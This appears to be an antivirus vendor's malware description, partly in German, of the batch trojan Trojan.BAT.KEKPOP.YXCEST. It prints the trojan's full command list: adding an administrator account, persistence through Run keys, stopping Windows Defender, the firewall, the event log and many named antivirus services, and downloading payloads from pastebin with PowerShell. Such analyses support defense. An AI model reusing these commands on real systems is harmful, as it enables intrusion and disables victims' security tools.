Trojan.BAT.KEKPOP.YXCEST

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

• %User Profile%\Documents\black.bat

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Prozesse hinzu:

• attrib +h +s {Malware Filename}.bat
• cmd.exe
• %System%\cmd.exe /K black.bat
• powershell -command "Set-ExecutionPolicy Unrestricted"
• %System%\scrnsave.scr /s
• net localgroup administrators session /ADD
• %System%\net1 localgroup administrators session /ADD
• reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_26556_toolbar" /t "REG_SZ" /d {Malware Filename}.bat /f
• reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
• reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
• RUNDLL32 USER32.DLL SwapMouseButton
• net stop "WinDefend"
• taskkill /f /t /im "MSASCui.exe"
• net stop "wuauserv"
• net stop "security center"
• net stop sharedaccess
• netsh firewall set opmode mode-disable
• net stop "Security Center" /y
• net stop "Automatic Updates" /y
• net stop "Symantec Core LC" /y
• net stop "SAVScan" /y
• net stop "norton AntiVirus Firewall Monitor Service" /y
• net stop "norton AntiVirus Auto-Protect Service" /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "McAfee Spamkiller Server" /y
• net stop "McAfee Personal Firewall Service" /y
• net stop "McAfee SecurityCenter Update Manager" /y
• net stop "Symantec SPBBCSvc" /y
• net stop "Ahnlab Task Scheduler" /y
• net stop navapsvc /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop vrmonsvc /y
• net stop MonSvcNT /y
• net stop SAVScan /y
• net stop NProtectService /y
• net stop ccSetMGR /y
• net stop ccEvtMGR /y
• net stop srservice /y
• net stop "Symantec Network Drivers Service" /y
• net stop "norton Unerase Protection" /y
• net stop MskService /y
• net stop MpfService /y
• net stop mcupdmgr.exe /y
• net stop "McAfeeAntiSpyware" /y
• net stop helpsvc /y
• net stop ERSvc /y
• net stop "*norton*" /y
• net stop "*Symantec*" /y
• net stop "*McAfee*" /y
• net stop ccPwdSvc /y
• net stop "Serv-U" /y
• net stop "norton AntiVirus Client" /y
• net stop "Symantec AntiVirus Client" /y
• net stop "norton AntiVirus Server" /y
• net stop "NAV Alert" /y
• net stop "Nav Auto-Protect" /y
• net stop "McShield" /y
• net stop "DefWatch" /y
• net stop eventlog /y
• net stop InoRPC /y
• net stop InoRT /y
• net stop InoTask /y
• net stop "norton AntiVirus Corporate Edition" /y
• net stop "ViRobot Professional Monitoring" /y
• net stop "PC-cillin Personal Firewall" /y
• net stop "Trend Micro Proxy Service" /y
• net stop "Trend NT Realtime Service" /y
• net stop "McAfee.com McShield" /y
• net stop "McAfee.com VirusScan Online Realtime Engine" /y
• net stop "SyGateService" /y
• net stop "Sophos Anti-Virus" /y
• net stop "Sophos Anti-Virus Network" /y
• net stop "eTrust Antivirus Job Server" /y
• net stop "eTrust Antivirus Realtime Server" /y
• net stop "eTrust Antivirus RPC Server" /y
• net stop netsvcs
• %System%\net1 stop netsvcs
• net stop spoolnt
• %System%\net1 stop spoolnt
• tskill iexplore
• tskill msnmsgr
• tskill excel
• tskill iTunes
• tskill calc
• tskill msaccess
• tskill safari
• tskill mspaint
• tskill outlook
• tskill WINWORD
• powershell -Command "Invoke-WebRequest https://pastebin.com/raw/4BDAd47i -outfile cynlog.cmd"
• powershell -Command "Invoke-WebRequest https://pastebin.com/raw/Ug8uFJ4Y -outfile "
• %System%\WScript.exe "%User Profile%\loveletter.vbs" → Detected as Worm.VBS.MASSMAIL.YXCEST
• %System%\WScript.exe "%User Profile%\mail.vbs" → Detected as Worm.VBS.MASSMAIL.YXCEST
• powershell -Command "Invoke-WebRequest https://pastebin.com/raw/Qt3ADbcj -outfile YcynNote.txt"
• xcopy /e /y {Malware Filename}.bat D:\
• xcopy /e /y {Malware Filename}.bat E:\
• xcopy /e /y {Malware Filename}.bat F:\
• xcopy /e /y {Malware Filename}.bat G:\
• xcopy /e /y {Malware Filename}.bat H:\
• xcopy /e /y {Malware Filename}.bat %User Profile%

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
rundll32_26556_toolbar = {Malware Filename}.bat

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\.bat